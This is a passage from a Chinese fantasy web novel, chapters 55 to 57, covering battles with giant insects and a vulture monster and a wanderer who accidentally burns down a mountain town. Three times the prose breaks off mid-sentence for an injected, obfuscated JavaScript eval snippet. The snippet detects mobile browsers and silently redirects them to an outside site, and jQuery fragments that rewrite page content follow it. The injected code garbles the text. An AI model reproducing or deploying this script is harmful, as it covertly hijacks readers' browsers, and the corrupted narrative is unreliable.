“没用!”安德鲁的吼声从虫群中传来。江知烨抬头看见他的剑被数条虫螯缠住,剑身已经出现了细密的裂纹。那些虫足如同活过来的钢鞭,正从四面八方抽向安德鲁的要害。 “它们的神经节点在头部第二节甲壳!”安德鲁猛地甩剑,剑刃刺入一条虫的眼窝。那虫发出尖锐的嘶鸣,螯肢胡乱挥舞,反而将旁边的虫身斩成两截。 江知烨抓住机会,腿部发力,整个人如离弦之箭般跃起。软剑刺破空气划出一道蓝芒,精准地切入一条巨虫的第二节甲壳缝隙。黑绿色的血液喷涌而出,带着强烈的腐蚀味,江知烨连忙拧身避开。 虫群的数量远超想象,洼地边缘不断有新的巨虫钻出,很快就将两人团团围住。安德鲁的手中的利剑终于不堪重负,“咔嚓”一声断为两截。他随手扔掉剑柄,双手握拳,指节发出爆豆般的脆响——狮子兽人的利爪瞬间弹出。 “知烨,背靠背!”安德鲁的吼声中带着兽性的狂躁,他猛地扑向虫群,利爪撕裂甲壳的声音此起彼伏。江知烨则挥动软剑,每一次出刀都瞄准虫腹的软甲。 但虫群的攻击越来越密集,一条巨虫的螯肢擦过江知烨的肩膀,斗篷瞬间被腐蚀出个大洞,皮肉传来灼烧般的剧痛。安德鲁见状怒吼一声,猛地将一条巨虫的尸体掀向空中,虫身砸落时压死了数条虫足,为江知烨争取到喘息的机会。 “这样下去不是办法,”江知烨咬着牙捂住伤口,“它们的数量太多了!”他看见洼地中央的尸体已经被虫群淹没,那些巨虫正用螯肢撕扯着尸肉,发出令人牙酸的咀嚼声。 安德鲁的狮耳突然向后撇紧,眼中闪过一丝惊疑:“知烨,听!” 远处的山谷中传来一阵低沉的狼嚎,那嚎叫起初微弱,却以惊人的速度逼近。江知烨猛地绷紧身体,远处传来的不是普通的狼嚎,而是带着某种韵律的兽语,像是在指挥着什么。 虫群似乎也察觉到了威胁,攻击节奏出现了一丝紊乱。安德鲁抓住机会,利爪插入一条巨虫的口器,猛地向上一掀,将其头颅整个扯下。黑绿色的血液溅了他满身,却让他的眼神更加炽热。 “在那里!”江知烨指向谷口。 暮色中,一道黑色的身影如离弦之箭般冲出谷口。一个身着兽皮的少年,赤着双脚,发间束着狼尾制成的头带。他的身后,数百双幽绿色的眼睛在暮色中亮起,那是数以百计的恶狼,每一头都比寻常猎犬大上一圈,喉间发出低沉的嘶吼。 “阿野?”江知烨失声喊道。 少年没有回头,只是将手指放入口中,吹出一声尖锐的呼哨。那呼哨声穿透了虫群的嘶鸣,瞬间让所有恶狼同时止步。少年向前踏出一步,双手张开,掌心向上——这是狼族指挥兽群的手势。 “嗷呜——!”少年发出一声狼嚎,声音中带着不容置疑的威严。 下一刻,数百头恶狼如黑色的潮水般涌向虫群!它们没有选择硬撼巨虫的甲壳,而是专攻虫足关节和腹部软甲。一头恶狼猛地扑向一条巨虫的腿足,利齿死死咬住关节处的缝隙,任凭巨虫如何甩动都不松口。其他恶狼则趁机扑向虫腹,利爪撕开软甲,露出里面粉红色的内脏。 安德鲁看得瞳孔一缩:“他在操控狼群!”他看见一头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694786|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恶狼精准地咬住了一条巨虫的眼窝,那巨虫立刻疯狂扭动,却被数头恶狼同时咬住四肢,硬生生撕扯成数段。 只见阿野站在虫群外围,双手快速变换着手势,每一次手势落下,就有一群恶狼改变攻击方向,将虫群分割成数个小块,逐个歼灭。这种战术配合的默契程度,远超普通兽群。 虫群的嘶鸣渐渐变成了临死前的哀号。那些原本不可一世的巨虫,在狼群的围攻下节节败退。 当最后一条巨虫的螯肢无力地垂下时,洼地中只剩下浓重的血腥味和虫尸腐烂的恶臭。阿野站在尸山中央,兽皮斗篷上溅满了黑绿色的血液,却丝毫未损。他挥了挥手,狼群立刻停止了撕咬,退到他身后,蹲伏在地,幽绿的眼睛依旧警惕地扫视着四周。 江知烨走到阿野面前,刚想开口,却看见少年的目光落在洼地中央的残尸上。那些被虫群啃噬过的尸块此刻散落一地,部分已经被恶狼的利爪撕碎。 “可以把这些尸体给我吗?”阿野的声音有些沙哑,“今年冬天来得早,山里的猎物都躲进了更深的洞穴,狼群已经三天没吃到像样的食物了。”他顿了顿,看向那些虫尸,“千足蚰蜒的肉虽然腥臭,但至少能让它们熬过下一场雪。” 安德鲁走到江知烨身边,有点稀奇地看向阿野身后的狼群。那些恶狼虽然体型庞大,但肋骨依旧清晰可见,显然已经饥饿许久。山脚下猎户们同样也有类似的抱怨——今年的野兽格外稀少,连最常见的野兔都难以寻觅。 “拿去吧,”江知烨收起软剑,将其别在腰上,“反正这些东西留在山里也是污染土地。”他瞥了眼那些虫尸,甲壳上的黏液还在滋滋冒泡,“不过你得让狼群小心点,这东西的血有毒。” 阿野点了点头,从腰间解下枚骨哨,放在唇边轻轻吹奏。那哨音低沉而悠长,带着某种安抚的韵律。原本蹲伏的狼群立刻站起身,有序地走向虫尸,开始撕咬那些相对干净的肌肉组织。它们避开了有毒的血液和内脏,只食用甲壳下的精肉。 “走吧,”江知烨突然开口,“山里的寒气越来越重了。”他指了指天空,不知何时,雪粒子已经开始飘落,在暮色中划出细碎的银线。 安德鲁点点头,跟着江知烨向山外走去。身后,阿野的骨哨声还在继续,狼群进食的声响被风雪掩盖,渐渐消失在苍莽山的深处。 江知烨裹紧了斗篷,回头望了眼阿野的方向,少年正蹲在一头巨狼身边,用兽皮擦拭着它受伤的前爪,动作轻柔而专注。 “你说,”安德鲁的声音在风雪中响起,“阿野和这些狼,到底是什么关系?” 江知烨沉默了片刻,望向苍莽山巅的风雪:“大概,是这片山林选择了他吧。”他顿了顿,嘴角勾起一抹浅笑,“就像这片山林,也选择了我们来处理这些麻烦事。” 55. 过往焚烧 方妙数着车辙印里的冰棱时,风正从车辕缝隙灌进她的领子里。 商队领头的老车夫裹着熊皮袄子,唾沫星子刚落地就冻成晶亮的珠子:“过了前面那道梁,就是苍莽山的地界了。” 方妙缩了缩脖子,指尖无意识摩挲着腰间磨损的皮袋。里面装着半块干硬的麦饼,还有三枚偷来的铜钱。 近1900年的流浪像条没尽头的河,从北境冻土到江南烟雨,她的脚印总被下一场风雪覆盖,就像她从不记得自己究竟是何时学会在雪地里用冻僵的手指夹起别人掉落的钱袋。 “妙儿姑娘,”旁边的年轻脚夫递过酒囊,“暖暖身子吧,前面黑松镇的林家该施粥了。” 方妙接过酒囊时,指尖触到对方掌心的厚茧。她垂下眼睫,露出恰到好处的怯生生:“多谢大哥。”这副模样她用了近千年,从雪原上偷猎者的帐篷,到水乡茶楼的后厨,总能换来些残羹冷炙。 脚夫果然红了脸,挠着头退到车队末尾。 苍莽山的轮廓在风雪中如巨兽蛰伏。商队停下时,黑松镇的灯火像散落的星子,嵌在山坳里。镇口的老槐树挂着破冰的灯笼,树下排着长队——全是面黄肌瘦的猎户,捧着豁口的陶碗,等着林家的施粥。 方妙跟着脚夫们挤到队伍里,鼻尖萦绕着糙米和野菜的混合香气。她看见施粥棚后站着个穿白狐裘的少年,黑发金眸,样子看上去不大甚至还只是孩童模样,却又十分沉稳,正低声吩咐仆役多给孩童添些稠粥。 方妙随口询问了身边的猎户,才得知那是林家的小公子,白鸽族的后裔,每年冬日都会站在这里。 商队在黑松镇的车马店落脚时,第二场雪正扑簌簌落下。方妙分到间狭小的耳房,土炕烧得滚烫,却暖不透她冻惯了的骨头。 “妙儿姑娘,”门外传来脚夫的声音,“林家老爷说明日雪停后要上山打猎,问有没有人愿意同去。” 方妙默不作声地裹紧被子。 打猎?她想起百年前在北境,为了半块冻肉,曾用石子砸死过一只落单的孩童。那孩子的眼睛像两颗黑曜石,临死前还在盯着她手里的石头。 第二天雪果然停了。方妙推开窗,看见林家老爷带着几个猎户往苍莽山走去。 不知为何,她鬼使神差地跟了上去。 苍莽山的雪没过膝盖,每走一步都能听见积雪下枯枝断裂的声响。方妙远远缀在猎队后面,看着林家老爷搭箭射落一只山鸡,动作优雅得像在弹奏古琴。 猎队在午时停下休息,方妙趁机躲进一片松树林。她想找点吃的,却在扒开雪层时,看见下面埋着半具狼尸——尸体已经冻硬,腹部有个碗口大的洞,像是被什么巨兽撕裂的。 恐惧像冰冷的蛇,顺着方妙的脊椎爬上来。她转身想跑,却发现自己早已偏离了猎队的路线。四周全是长得一模一样的松树,风雪不知何时又起,模糊了来时的脚印。 天色渐渐暗下来,寒气像针一样扎进她的骨头。方妙蜷缩在一块巨石后面,牙齿不受控制地打颤。 求生的本能让她开始寻找干柴。她扒开积雪,找到些枯枝,又从怀里摸出火石——那是她去年在市集偷的,一直藏在贴身的口袋里。火星溅在枯枝上,燃起一簇微弱的火苗,凑近火堆,冻僵的手指终于有了点知觉。 火光照亮了周围的雪地,也照亮了她苍白的脸。她看着跳跃的火苗,突然想起林家公子,想起他给孩童添粥时温柔的眼神。那样的人,应该永远活在温暖的屋子里,不会像她这样,在风雪里挣扎求生。 或许有人天生就高人一等,也有些人,就像她一样。 不知过了多久,她听见远处传来人声。方妙连忙站起身,想大声呼救,却不小心碰倒了火堆旁的枯枝。火星溅在干燥的松针上,瞬间燃起一片小火苗。 “这边!”猎队的声音越来越近。方妙顾不上灭火,跌跌撞撞地朝着人声跑去。她只想离开这里,只想回到温暖的车马店,只想忘记这该死的迷路。 当方妙跟着猎队回到黑松镇时,天边的晚霞正被染成血色。 起初她以为是夕阳,直到闻到空气中浓烈的烟味,才惊恐地发现——苍莽山的半边山梁正在燃烧! 火借风势,顺着松林向山下蔓延,像一条愤怒的火龙。黑松镇的百姓们惊慌失措地提着水桶冲向河边,却发现河水早已冻成厚厚的冰层,根本无法取水。 “快!去砸井!”林家老爷的声音穿透了嘈杂的人声。他已经脱下了雪白的狐裘,只穿着单薄的里衣,带着猎户们用斧头砸向井口的冰层。可井水深千尺,冰层厚如铁,砸了许久也只裂开几道细缝。 方妙站在人群外,看着火势越来越近,照亮了每个人惊恐的脸。她看见昨天给她酒囊的年轻脚夫,正抱着孩子往镇外跑;看见那些排队领粥的猎户,此刻正用雪往自家屋顶上堆。 而这一切的源头,是她忘记扑灭的那簇小火苗。 罪恶感像潮水般淹没了她。她想上前帮忙,想告诉大家是她的错,可双腿像灌了铅一样沉重。 火势终于蔓延到了镇口的老槐树,破冰的灯笼在火中炸裂,像一声绝望的哀嚎。林家的施粥棚最先被吞噬,白色的帐幔在火中卷曲成黑色的灰烬。方妙看见林家公子猛地跪在地上,看着自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694787|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家的方向,发出一声撕心裂肺的哭喊。 就在这时,一块燃烧的木梁从屋顶坠落,砸在离她不远的地方。灼热的气浪让她猛地惊醒。她不能留在这里,不能被人发现是她引发了这场灾难。 方妙是在火势最猛烈的时候逃离黑松镇的。她沿着商队来时的路,在雪地里拼命奔跑,身后是冲天的火光和隐约的哭喊。寒冷再次包裹了她,但这一次,比风雪更冷的是她的心。 她不敢回头,不敢去想林家公子绝望的眼神,不敢去想那些被大火吞噬的房屋和生命。近1900年的流浪生涯里,她做过太多坏事,偷窃、乞讨、甚至杀人,但从未像此刻这样,感觉自己罪孽深重。 她无法再用“只是为了活下去”为自己找借口。 商队已经离开了。车马店的老板告诉她,火势一起,商队就立刻启程了,生怕被大火波及。方妙看着空荡荡的院子,突然觉得无比茫然。 她该去哪里?北方是无尽的雪原,南方是陌生的水乡,东方是未知的路途,而她的归属,似乎从来就只有流浪。 她摸了摸腰间的皮袋,里面的麦饼已经碎成了渣,铜钱还在,却像烧红的烙铁,烫得她手心发疼。脑海里不断浮现林家公子跪在地上绝望的哭喊。那样善良的人,那样美好的小镇,就因为她的一时疏忽,毁于一旦。 方妙漫无目的地走着,不知道走了多久,也不知道走了多远。雪又开始下了,覆盖了她的脚印,也覆盖了黑松镇的方向。 那时候,黄沙漫天时安德鲁告诉她,“动物的生存法则就是不停走下去。” 那时她不懂,现在却明白了。停下,就意味着死亡,或者更糟的,是良心的谴责。 她从靴底摸出一枚银饰,上面刻着细密的纹路,边缘有些磨损。 这是她刚偷来的,此刻,她将银饰紧紧握在手心,冰冷的金属硌得她手心生疼。 也许,流浪才是她真正的归属。没有根,没有家,没有牵挂,这样就不会再伤害到任何人。 方妙抬起头,望向茫茫的风雪。南边的天空似乎有一丝微光,那是南方的方向。她深吸一口气,裹紧了身上的狐裘,一步一步,朝着那丝微光走去。 她不知道前方等待她的是什么,是更寒冷的冬天,还是更温暖的春日。她只知道,自己必须不停地走下去,像一条孤魂,在这广袤的兽人世界里,继续她无尽的流浪。 身后,黑松镇的火光早已熄灭,只留下一片焦黑的废墟,和一个永远无法弥补的错误。而方妙,将带着这个错误,走向未知的远方,直到下一个冬天,下一场风雪,将她的足迹再次覆盖。 56. 松烟旧火 苍莽山的雪粒子打在狐裘斗篷上沙沙作响时,江知烨和安德鲁终于在黄昏前赶到了山脚下的猎户聚居地。 守在哨塔上的老猎户李三看见他们,立刻敲响了挂在松枝上的铜盆。 “江大人!安大人!”李三踩着积雪跑过来,脸上的皱纹笑成了核桃,“那些虫豸都解决了?” 安德鲁拍了拍斗篷上的雪沫,:“暂时清理了洼地周围的虫群,但山里可能还有巢穴。”他顿了顿,听见远处传来狼群的嚎叫,“阿野和他的狼群正在处理虫尸,至少能让它们熬过这个月。” 江知烨跺了跺冻得发麻的脚,瞥见李三身后的猎户们个个面有菜色:“今年冬天格外难熬?” 李三的笑容僵在脸上,搓着手叹了口气:“可不是嘛!自从封山后,山里的野兽就没缓过来,今年雪又下得早……”他压低声音,“不瞒两位大人,咱们猎户现在都是数着米粒吃饭,更别说山那边的黑松镇了。” “黑松镇?”江知烨挑眉。 “就是山坳另一边的镇子,”李三指向苍莽山深处,“两百多年前遭过一场大火,烧了整整三天三夜,连镇口的石狮子都化了。本来镇上有户姓林的大善人,每年冬天都会开仓放粮,可那场大火把林家上下几十口人全烧没了,从此黑松镇就没缓过来。” 安德鲁的狮耳不易察觉地动了动:“你刚才说封山?” “是啊,”李三点头,“就从那场大火开始,苍莽山好像被下了咒,别说野兽了,连棵像样的树都长不出来。直到三年前才慢慢有兽群回来,可今年……”他欲言又止,“不瞒大人,最近黑松镇那边传得邪乎,说山里有怪物下山吃人!” ...... 翌日清晨,江知烨和安德鲁骑着马踏上了通往黑松镇的山道。 积雪没到马腹,马蹄每一步都踩得异常艰难。安德鲁牵着缰绳,警惕地扫视着两侧的密林——那些树木大多焦黑扭曲,树干上布满了当年大火留下的疤痕,偶尔能看见几株新生的松树,树干细得像筷子。 “两百多年前的大火,到现在痕迹都还在。”江知烨的声音被风吹得零散,“能把石狮子都烧化,得多大的火势?” 安德鲁勒住马,指着前方一棵半焦的古松:“看这树的碳化程度,不像是普通山火。”他翻身下马,用匕首刮了刮树皮,“更像是……某种助燃物造成的烈焰,比如北地的‘焚石’。” 两人牵着马步行了半个时辰,终于看见黑松镇的轮廓。镇子坐落在一个避风的山坳里,房屋大多是低矮的土坯房,屋顶覆盖着厚厚的积雪,只有寥寥几处烟囱冒出微弱的炊烟。 刚走进镇子,就看见几个衣衫褴褛的孩子在雪地里追逐着一只瘦骨嶙峋的黑猫。孩子们的脸蛋冻得通红,手上却连双像样的手套都没有。一个穿着打补丁棉袍的老妇蹲在墙角,正在用石磨碾磨着什么,石磨发出吱呀的呻吟。 “老人家,”江知烨走上前,“镇上今年的收成如何?” 老妇抬起头,浑浊的眼睛看了看他们,又低下头继续碾磨:“收成?哪来的收成……夏天一场雹子打烂了庄稼,冬天又遇上这鬼天气。”她指了指石磨里的东西,“这是去年剩下的谷糠,掺着观音土吃。” 安德鲁从行囊里掏出两块干肉递过去:“老人家,先垫垫肚子。” 老妇盯着干肉,喉咙滚动了一下,却没有接:“不敢要,两位是……” “我们是南清城官府的人,”江知烨解释道,“听说镇上有怪物出没?” 老妇闻言猛地站起身,惊恐地看向山林的方向:“别提了!上个月王老五家的小子上山砍柴,就没再回来!还有张屠户家的猪,半夜里被什么东西拖走了,只留下一摊血!” 闻言江知烨和安德鲁两人不禁皱起眉,如果这么看,不可能会是阿野的狼群。 随即两人在黑松镇走了一圈,发现家家户户都是揭不开锅的景象。有的人家甚至门窗破败,用草席堵着风口。安德鲁走进一家药铺,只见药柜上空空如也,掌柜的正用指甲刮着药碾子里残留的草根。 “掌柜的,”安德鲁放下一锭银纹,“镇上最近真有怪物?” 掌柜的眼睛盯着银子,舔了舔嘴唇:“不瞒您说,刚开始是丢了几只鸡鸭,后来就有人失踪了。”他压低声音,“有人说看见过黑影在林子里窜,速度比狼还快,还有人说听见夜里有奇怪的叫声,像哭又像笑。” “有没有人看清楚那怪物的样子?”江知烨追问。 “没谁敢靠近啊!”掌柜的摇头,“不过前几天有人在山脚下发现了奇怪的脚印,巴掌大,五个脚趾,每个脚趾头都带着弯钩,像……像巨大的鸟爪。” 两人又问了几个村民,说法五花八门。有的说怪物有九个脑袋,有的说怪物会喷火烧房子,只有一个叫陈六的年轻猎户说得相对靠谱:“我见过那脚印,确实像鸟爪,但比鹰爪大十倍。而且那东西好像怕火,我在失踪的张屠户家附近发现了被烧焦的兽毛,不是狼毛,也不是熊毛,更像是……某种禽类的绒毛。” 安德鲁蹲在陈六家的院子里,看着他保存的半片羽毛——那羽毛呈暗褐色,羽轴坚硬如铁,边缘却覆盖着细密的绒毛。“这是……”他用匕首尖挑起羽毛,“某种大型猛禽的尾羽。” 江知烨皱眉:“苍莽山有这么大的猛禽?” “两百多年前可能有,”安德鲁站起身,“但经历过那场大火,就算有也该迁徙了。”他看向远处的山林,“除非……那场大火根本没烧到它的巢穴。” 离开黑松镇时,江知烨的心情格外沉重,安德鲁默默地牵着马,眼里映着镇口那棵被烧焦的老槐树,树干上至今还留着一个焦黑的人形印记。 “知烨,”安德鲁突然停步,“你有没有觉得,黑松镇的贫困和那场大火之间,可能不止是巧合?” 江知烨点头:“莫名其妙地山火,封山,山中怪物……这里面肯定有隐情。”他勒住马,“但当务之急是解决镇上的温饱问题,还有那个所谓的‘怪物’。” 两人快马加鞭赶回理尚府时,方妙正带着顾氏兄弟在院子里扫雪。顾时夜看见他们,立刻扔下扫帚跑过来:“江大人!安大人!你们可算回来了!妙儿姐都快急疯了!” 安德鲁没理会顾时夜的咋咋呼呼,径直走向书房:“妙儿,帮我磨墨,我要写加急文书。” 方妙看见他严肃的表情,立刻收起了笑容:“怎么了?出什么事了?” “比出事更严重,”江知烨叹了口气,“镇上快饿死了,还有不明生物袭击。” 半个时辰后,安德鲁将写好的文书递给江知烨:“我请求南都中书省调拨三百石糙米,五百床棉被,再派一个营的兵力进山搜查。”他指着文书上的附页,“这是我画的怪物脚印和羽毛图,让仵作陈九看看能不能辨认出物种。” 江知烨看着文书上遒劲的字迹,又想起黑松镇那些孩子冻裂的手:“我跟你一起去府衙,这文书必须今天发出。” 方妙将印泥递过来,眼里不着痕迹闪过阴冷,:“知烨,安德鲁,你们放心,我会盯着粮库,保证糙米一粒不少地送到黑松镇。” 她不决定把事情说出去。 顾时夜拍着胸脯:“还有我们!我和小白去召集民壮,加固黑松镇的寨墙,看那怪物怎么闯进来!” 安德鲁看着众人忙碌,随即站起身,“走吧,知烨。” 很快三百名披甲士兵踩着积雪列阵,长矛尖挑着的火把将周围照得通明。 江知烨扣紧腰间软剑,听见身后传来顾时夜的嘀咕声:“江大人,安大人,咱们带这么多人进山,那怪物就算是头龙也得被吓跑了吧?” “黑松镇的陈六说怪物怕火,把火把间距缩短到三丈,每队配备硫磺火罐。”安德鲁顿了顿,看向队列里几个背着药箱的兵卒,“伤兵营跟紧前队,苍莽山的瘴气对伤口不好。” 方妙抱着一叠兽皮地图跑过来,:“知烨, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694788|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安德鲁,这是陈六画的怪物活动范围,主要集中在北麓的黑石峪。”她展开地图,上面用木炭标出了几个醒目的红圈,“那里以前是个火山口,大火后形成了天然石堡。” 顾夜白突然指着地图边缘:“哥,你看这里,陈六说在黑石峪入口发现了大量鸟粪,味道比普通鹰隼的刺鼻十倍。”他从袖中掏出个蜡封的小瓷瓶,“这是我刮取的样本,里面有未消化的兽骨碎片。” 江知烨接过瓷瓶对着火光细看,瓶中粉末呈暗绿色,夹杂着细小的骨渣:“看来那怪物是以腐肉为食。”他将瓷瓶递给安德鲁,“黑石峪地势险要,易守难攻,我们得想个万全之策。” 队伍在黎明时分抵达黑石峪外围。江知烨突然勒住马,看着前方陡峭的石壁——那些岩石呈暗黑色,表面布满了蜂窝状的孔洞,隐隐有硫磺味从石缝中渗出。安德鲁翻身下马,用匕首刮了刮岩石表面,刀尖立刻蒙上了一层青黑色的锈迹。 见状安德鲁皱眉,“这里的地质结构果然特殊。”他示意士兵们熄灭火把,“保持静默,跟我来。” 众人沿着狭窄的山道行进,脚下的积雪越来越薄,露出黑色的火山岩。顾时夜突然捂住鼻子:“什么味道?比乱葬岗的尸臭还难闻!” 顾夜白蹲在地上,手指抹过一滩半冻的黏液:“哥,这是怪物的唾液,温度比周围高五度。”他指着岩壁上的爪痕,“看这深度,怪物的利爪能轻松穿透铁甲。” 江知烨示意队伍停下,迅速扫视着前方,“安德鲁,你带一队从左侧包抄,我带一队从右侧迂回,顾氏兄弟负责断后,保护伤兵营。” 闻言安德鲁点头,眸中闪过一丝警惕:“注意头顶,陈六说怪物会从空中袭击。” 队伍刚进入深处,头顶突然传来一声尖锐的啼鸣!江知烨猛地抬头,只见一道黑影从石缝中扑下,展开的翼展足有三丈长,暗褐色的羽毛在晨光中闪烁着金属般的光泽。 “放箭!”安德鲁大吼一声。 羽箭雨般射向怪物胸腹,却在触及翼下绒毛时纷纷折断。江知烨这才看清那些看似稀疏的羽毛实则密如鳞片,箭头嵌进去不足三分便被弹开。怪物落地时前肢□□岩石,五根弯钩状利爪深没至腕,岩面瞬间蛛网般龟裂,黑红色的浆液从缝中渗出,蒸腾起刺鼻的白雾。 “是秃鹫变种!”江知烨认出怪物头部稀疏的羽毛,“准备硫磺火罐!” 顾时夜立刻点燃火罐扔出,绿色的火焰在怪物脚边炸开,发出滋滋的声响。那怪物发出一声悲鸣,猛地跃起,翅膀掀起的气浪将前排士兵吹倒在地。 安德鲁抓住机会,剑光随影划出一道弧光,斩在怪物的尾羽上。暗褐色的羽毛纷飞落下,怪物发出更尖锐的啼鸣,转而扑向安德鲁。 “小心它的喙!”江知烨提醒道,同时软剑出鞘,刺向怪物的眼窝。 怪物猛地甩头,锋利的喙擦过江知烨的肩膀,铠甲上立刻出现了一道深深的划痕。顾夜白趁机射出一支淬毒的短箭,正中怪物的翅膀关节。 怪物吃痛,猛地冲向众人,却被顾时夜带领的士兵用长矛阵挡住。江知烨看准时机,将硫磺粉撒在软剑上,纵身跃起,一剑刺入怪物的咽喉。 绿色的血液喷涌而出,怪物发出最后一声悲鸣,庞大的身躯轰然倒地。安德鲁上前检查,眼中闪过一丝凝重:“它的嗉囊里有未消化的人骨,还有这个。”他从怪物口中取出半枚烧焦的玉佩,上面刻着一个模糊的“林”字。 江知烨接过玉佩,仔细端详:“看来这怪物就是当年大火的幸存者,躲在火山口靠腐肉为生。”他看向怪物翅膀上的旧伤,“这些疤痕是火烧的,它恐怕也恨透了那场大火。” 顾时夜踢了踢怪物的尸体:“管它恨谁,总算解决了!黑松镇的百姓可以睡个安稳觉了。” 可当队伍抬着怪物的尸体离开黑石峪时,苍莽山的风雪正卷着黑松镇的炊烟漫过火山口,一道如狼眸的绿影正死死盯着一行人直至消失。 57. 阴暗掌控 “人类与兽群共享的基因野火,在瞳孔交缠时撕裂理性——爱情从来不是逻辑的造物,而是所有生灵刻进骨髓的疯魔,是理性崩裂时,万物共赴的狂乱。” 腊月三十,除夕。 南清城被一片喧嚣的红包裹着,方妙随着采买的队伍混在人流里,怀里抱着一小捆扎得齐齐整整的腊梅,嫩黄的花苞在深褐的枝桠上颤巍巍的,像她此刻心里那点若有似无的警惕。 “妙儿姐,你看这个糖人!”顾夜白举着一个吹得晶莹剔透的兔子糖人凑到她面前,眼睛亮晶晶的,“江大人说买给阿澜哥的,我偷偷多要了一个!” 方妙弯了弯眼睛,伸手捏了捏他冻得微红的脸颊:“小馋鬼,当心吃坏了牙,回头你哥又要念叨你。” 顾时夜闻言立刻板起脸,戳了戳弟弟的额头:“听见没?妙儿姐都这么说。走了,东西买得差不多了,该回府了。” 方妙应了一声,目光却不着痕迹地扫过身后熙攘的人群。 从刚才在干货铺门口,她就感觉到了。那道视线,像一根细小的针,不疼,却精准地扎在她后颈的皮肤上,带着一种近乎执拗的、冰冷的注视。她没有回头,甚至连表情都没多变一分,只是握着凉滑梅枝的手指微微收紧了些。 最近这段时间,她太知道暴露意味着什么。 那些藏在暗处的过往,像附骨之疽,她好不容易才在这和安德鲁身边寻到一点安稳,绝不能轻易被打破。 “妙儿,在看什么?”安德鲁的声音从身侧传来,带着惯常的温和笑意。他不知何时走到了她身边,手里拎着刚买的年货,见她落后,便放慢了脚步。 “没什么,”方妙立刻转回头,对他露出一个甜美的笑,“在想晚上的年夜饭,不知道有没有准备我爱吃的糖蒸酥酪。” 安德鲁低笑一声,伸手替她理了理被风吹乱的鬓发,:“自然备下了,知道你馋这个。走吧,回去晚了,时夜和夜白该饿坏了。” 他的语气自然又亲昵,仿佛刚才那道让她脊背发凉的视线只是错觉。 方妙点点头,跟着他往前走去,心里那根弦却始终没松。她能感觉到,那道视线还在,像一条隐蔽的毒蛇,潜伏在人潮里,随着她的移动而移动。 回到江府,卸下满身的寒气和年货,府里已经开始张灯结彩,仆人们进进出出,一片忙碌景象。方妙将腊梅交给丫鬟插瓶,借口说想出去再买些零嘴,便独自离开了顾府。 她没有去热闹的主街,而是拐进了旁边一条相对僻静的巷子。夜色已经渐渐浓了,灯笼的光晕在青石板路上晕开一片片暖黄。她走得不快,脚步轻缓,熊耳却警惕地颤动,,捕捉着四周任何一点异常的声响。 就在她走到一个拐角时,一道黑影突然从旁边的胡同里快速窜了出来,几乎是擦着她的身子掠过,肩膀狠狠撞在她的胳膊上! 方妙猝不及防,手里刚买的一小包杏仁糖散落一地,人也踉跄着向后倒去。 “小心!” 一只手及时伸过来,稳稳地抓住了她的手腕。力道不算大,却带着不容置疑的稳当。方妙惊魂未定地抬头,撞进了江知烨爽朗的眼眸里。 “方妙?怎么回事?”江知烨眉头微蹙,看着她差点摔倒的样子,又看了看那个迅速消失在巷口的黑影,“刚才那人怎么回事?没撞到你吧?” “没事没事,”方妙摇摇头,挣开他的手,蹲下身去捡散落的杏仁糖,“大概是有急事吧,走得太急了。”她拍了拍糖纸外的灰尘,抬起头对江知烨笑了笑,“知烨,你怎么也在这里?” “我?”江知烨摸了摸鼻子,脸上露出点无奈又带着点笑意的神情,“阿澜说府里的墨快用完了,让我出来买些好墨。这不,刚买完,正准备回去呢。倒是你,怎么一个人跑出来了?安德鲁没陪着你?” “我就是出来买点东西,很快就回。”方妙站起身,拍了拍手上的灰,“你快去忙吧,别让阿澜哥等急了。” “行,那你自己小心点,晚上街上人杂。”江知烨叮嘱了一句,便朝着另一个方向走去,他走路带风,很快就消失在灯笼的光影里。 方妙看着他的背影消失,脸上的笑容慢慢淡了下去。她转过身,正准备继续往前走,却感觉手腕一紧,又被人握住了。 这次的力道,比刚才江知烨的要大上一些,带着一种奇异的、不容抗拒的压迫感。 她猛地回头,看到安德鲁不知何时站在了她身后。他脸上依旧带着那副温和的笑容,眼神却深了些,目光落在她的手腕上——那是刚才被江知烨握住的地方。 “妙儿,怎么一个人在这里?”安德鲁的声音依旧温柔,手指却在她的手腕上轻轻用力。他的指尖很暖,却像是带着某种印记,随着他的力道,方妙白皙的皮肤上渐渐浮现出一道淡淡的红痕,形状蜿蜒,像一条细小的锁链。 方妙心里“咯噔”一下,面上却依旧笑嘻嘻的:“安德鲁,你怎么也出来了?我就是出来逛逛,买点糖而已。”她晃了晃手里的杏仁糖,“没事啦,我们回去吧,晚上还要吃年夜饭呢。” 